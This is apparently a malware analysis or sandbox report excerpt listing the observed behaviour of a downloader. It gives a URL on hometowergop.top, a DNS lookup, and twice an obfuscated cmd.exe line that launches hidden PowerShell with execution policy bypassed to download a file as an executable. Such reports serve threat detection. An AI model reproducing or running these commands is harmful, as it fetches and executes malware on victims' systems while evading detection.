Technical Information
- http://hometowergop.top/read.php?f=0.dat as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "pow^e^Rsh^eL^L.EXe ^-e^xEcUt^I^O^NP^ol^i^cY^ ^byp^as^s -^nOPR^of^IL^e -WIn^DOwSTYL^E^ hIddEn^ ^(^n^EW-^Obj^eCT SySTeM^.nEt^.W^Ebc^L^i^Ent^).DoW^Nloa^d^fi^le^('http://home...
- DNS ASK ho####wergop.top
- '<SYSTEM32>\cmd.exe' /C "pow^e^Rsh^eL^L.EXe ^-e^xEcUt^I^O^NP^ol^i^cY^ ^byp^as^s -^nOPR^of^IL^e -WIn^DOwSTYL^E^ hIddEn^ ^(^n^EW-^Obj^eCT SySTeM^.nEt^.W^Ebc^L^i^Ent^).DoW^Nloa^d^fi^le^('http://home...' (with hidden window)